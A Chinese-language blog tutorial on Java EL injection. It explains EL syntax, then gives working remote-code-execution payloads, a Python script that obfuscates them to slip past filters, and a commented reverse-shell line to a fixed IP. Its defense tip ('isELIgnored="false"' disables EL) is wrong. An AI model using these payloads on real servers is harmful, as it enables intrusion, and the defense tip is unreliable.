Java EL (Expression Language)表达式注入

学习 Java EL 表达式注入

0x01 EL 介绍

表达式语言(Expression Language),或称EL表达式,简称EL,是Java中的一种特殊的通用编程语言,借鉴于JavaScriptXPath。主要作用是在Java Web应用程序嵌入到网页(如JSP)中,用以访问页面的上下文以及不同作用域中的对象 ),取得对象属性的值,或执行简单的运算或判断操作。EL在得到某个数据时,会自动进行数据类型的转换。 ——wikipedia

Java EL 被用在 JavaServer Faces technology (JSF)and JavaServer Pages (JSP) 中,主要功能就是

  • 访问 JavaBean 属性,数组或各类集合
  • 检索 java 对象,获取数据
  • 逻辑和算术运算
  • 调用 java 类方法

注意区分 JSP 页面中的脚本表达式 <%= 这里是表达式 %>,EL 正是用来替换脚本表达式的

JSP 中的语法

  1. 脚本程序

    1
    <% 这里是JAVA代码 %>
  2. JP 声明

    声明变量和方法

    1
    2
    3
    4
    5
    <%! declaration; [ declaration; ]+ ... %>

    <%! int i = 0; %>
    <%! int a, b, c; %>
    <%! Circle a = new Circle(2.0); %>
  3. JSP 表达式

    是对数据的表示,系统将其作为一个值进行计算,表达式的值会转为 string,调用的方法必须要有返回值,不能用 ; 分号

    1
    2
    3
    4
    5
    6
    7
    8
    <p>
    今天的日期是: <%= (new java.util.Date()).toLocaleString()%>
    </p>
    <% if (user != null ) { %>
    Hello <B><%=user%></B>
    <% } else { %>
    You haven't login!
    <% } %>
  4. JSP 注释

    1
    <%-- 注释内容 --%>
  5. JSP 指令

    设置与整个JSP页面相关的属性,开头就能看到

    | <%@ page … %> | 定义页面的依赖属性,比如脚本语言、error页面、缓存需求等等 |
    | —————— | ——————————————————— |
    | <%@ include … %> | 包含其他文件 |
    | <%@ taglib … %> | 引入标签库的定义,可以是自定义标签 |

    1
    2
    3
    4
    <%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
    <%@ taglib prefix="s" uri="/struts-tags" %>
    <!DOCTYPE html ....

还有 JSP 行为与隐含对象等内容就不介绍了,可以看 JSP 语法 | 菜鸟教程

0x02 EL 使用

立即求值(Immediate Evaluation)

表达式将使用 ${} 语法,一般模板只能用这个

延迟求值(Deferred Evaluation)

表达式使用 #{}语法,模板用这个会报错,详情可以看 https://docs.oracle.com/javaee/7/tutorial/jsf-el.htm#GJDDD

IDEA 新建一个 Maven 项目进行测试,file Project Structure 里 Facets 添加一个 Web

image-20200813144307779

web.xml 添加

1
2
3
<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>

Web 目录下新建 index.jsp

使用值表达式引用对象

能够引用以下对象的属性

  • Lambda parameters
  • EL variables
  • Managed beans
  • Implicit objects
  • Classes of static fields and methods

引用对象属性或集合元素

使用 .[] 表示法

比如要获取 customer 的属性 name,则可以使用

1
${customer.name}

或者

1
${customer["name"]}

通常 []. 要普遍,因为 [] 中不只是字符串,可以是字符串表达式,可以进行动态取值,而且 . 可能受一些特殊字符的影响

以下三种写法效果相同

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<head>
<title>Hello</title>
</head>
<body>
hello ${param[["a","b","name"][2]]}
<br>
hello ${param["name"]}
<br>
hello ${param.name}
<br>
</body>
</html>

image-20200813153959248

EL 运算符

  • 算术+-(二元), */div%mod-(一元)。
  • 字符串连接+=
  • 逻辑and&&or||not!
  • 关系==eq!=ne<lt>gt<=ge>=le。可以与其他值或布尔值,字符串,整数或浮点文字进行比较。
  • empty运算符是前缀运算,可用于确定值是null还是空。
  • 条件A ? B : C。评估BC根据的评估结果A
  • lambda表达式->,箭头标记。
  • 赋值=
  • 分号;

运算符优先级如下(从高到低,从左到右):

  • [] .
  • () (用于更改运算符的优先)
  • - (一元) not ! empty
  • * / div % mod
  • + - (二元)
  • +=
  • <> <= >= lt gt le ge
  • == != eq ne
  • && and
  • || or
  • ? :
  • ->
  • =
  • ;

除了上运算中的字符外还有一些其它的保留字符:

true
false
null
instanceof
empty
div
mod

0x03 EL 注入

JSP 有 9 个隐式对象,如下

request HttpServletRequest 接口的实例
response HttpServletResponse 接口的实例
out JspWriter类的实例,用于把结果输出至网页上
session HttpSession类的实例
application ServletContext类的实例,与应用上下文有关
config ServletConfig类的实例
pageContext PageContext类的实例,提供对JSP页面所有对象以及命名空间的访问
page 类似于Java类中的this关键字
Exception Exception类的对象,代表发生错误的JSP页面中对应的异常对象

但其中只有一个 pageContext 是 EL 隐式对象, 还有4个作用域隐式对象,通过映射访问作用域属性,还有参数访问隐式对象、首部访问隐式对象和初始化参数访问隐式对象,如下

类别 标识符 描述
JSP pageContext PageContext 实例对应于当前页面的处理
作用域 pageScope 与页面作用域属性的名称和值相关联的 Map 类
requestScope 与请求作用域属性的名称和值相关联的 Map 类
sessionScope 与会话作用域属性的名称和值相关联的 Map 类
applicationScope 与应用程序作用域属性的名称和值相关联的 Map 类
请求参数 param 按名称存储请求参数的主要值的 Map 类
paramValues 将请求参数的所有值作为 String 数组存储的 Map 类
请求头 header 按名称存储请求头主要值的 Map 类
headerValues 将请求头的所有值作为 String 数组存储的 Map 类
Cookie cookie 按名称存储请求附带的 cookie 的 Map 类
初始化参数 initParam 按名称存储 Web 应用程序上下文初始化参数的 Map 类

在 EL 注入中,产生的原因就是把用户输入作为 EL 表达式内容来执行,通常使用方法

1
2
javax.el.ExpressionFactory.createValueExpression()
javax.el.ValueExpression.getValue()

如以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
import de.odysseus.el.ExpressionFactoryImpl;
import de.odysseus.el.util.SimpleContext;
import Javax.el.*;
public class Main {
public static void main(String[] args) {
ExpressionFactory factory = new ExpressionFactoryImpl();
SimpleContext context = new SimpleContext();
String pl = "ABC ${true.toString().toUpperCase()}";
ValueExpression e = factory.createValueExpression(context, pl, String.class);
System.out.println(e.getValue(context));
}
}

常用 poc:

1
2
3
4
5
6
7
8
9
10
11
//对应于JSP页面中的pageContext对象(注意:取的是pageContext对象)
${pageContext}

//获取Web路径
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}

//文件头参数
${header}

//获取webRoot
${applicationScope}

利用反射实现命令执行

1
${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"open -a Calculator.app"))}

EL + JS 引擎实现命令执行

1
${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('open -a Calculator.app')")}

0x04 EL 绕过与防御

绕过

通过下面这段 EL,能够获取字符 C 则同理可以获取任意字符串

1
${true.toString().charAt(0).toChars(67)[0].toString()}

利用以上原理,通过 charAt 与 toChars 获取字符,在由 toString 转字符串再用 concat 拼接来绕过一些敏感字符的过滤

生成 paylaod 脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#coding: utf-8

#payload = "bash$IFS-i$IFS>&$IFS/dev/tcp/192.168.169.112/7777$IFS0>&1"
#payload = "bash$IFS-c$IFS'curl 192.168.169.112:7777'"
#exp = '${pageContext.setAttribute("%s","".getClass().forName("%s").getMethod("%s","".getClass()).invoke("".getClass().forName("%s").getMethod("%s").invoke(null),"%s"))}' % ('a','java.lang.Runtime','exec','java.lang.Runtime','getRuntime','open -a Calculator.app')

def encode(payload):
encode_payload = ""
for i in range(0, len(payload)):
if i == 0:
encode_payload += "true.toString().charAt(0).toChars(%d)[0].toString()" % ord(payload[0])
else:
encode_payload += ".concat(true.toString().charAt(0).toChars(%d)[0].toString())" % ord(payload[i])
return encode_payload

exp = '${pageContext.setAttribute(%s,"".getClass().forName(%s).getMethod(%s,"".getClass()).invoke("".getClass().forName(%s).getMethod(%s).invoke(null),%s))}' % (encode('a'),encode('java.lang.Runtime'),encode('exec'),encode('java.lang.Runtime'),encode('getRuntime'),encode('open -a Calculator.app'))

print(exp)

得到:

1
${pageContext.setAttribute(true.toString().charAt(0).toChars(97)[0].toString(),"".getClass().forName(true.toString().charAt(0).toChars(106)[0].toString().concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(118)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(103)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(82)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(105)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString())).getMethod(true.toString().charAt(0).toChars(101)[0].toString().concat(true.toString().charAt(0).toChars(120)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString()).concat(true.toString().charAt(0).toChars(99)[0].toString()),"".getClass()).invoke("".getClass().forName(true.toString().charAt(0).toChars(106)[0].toString().concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(118)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(103)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(82)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(105)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString())).getMethod(true.toString().charAt(0).toChars(103)[0].toString().concat(true.toString().charAt(0).toChars(101)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(82)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(105)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString())).invoke(null),true.toString().charAt(0).toChars(111)[0].toString().concat(true.toString().charAt(0).toChars(112)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(45)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(67)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(99)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(111)[0].toString()).concat(true.toString().charAt(0).toChars(114)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(112)[0].toString()).concat(true.toString().charAt(0).toChars(112)[0].toString())))}

防御

  • 过滤敏感内容
  • 使用其它方法
  • 在 JSP 中加入<%@ page isELIgnored="false" %> 禁用

Reference

https://www.mi1k7ea.com/2020/04/26/%E6%B5%85%E6%9E%90EL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/

https://blog.csdn.net/qyqingyan/article/details/20606845

https://pulsesecurity.co.nz/articles/EL-Injection-WAF-Bypass

文章作者: J0k3r
文章链接: http://j0k3r.top/2020/08/13/java-expression/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 J0k3r's Blog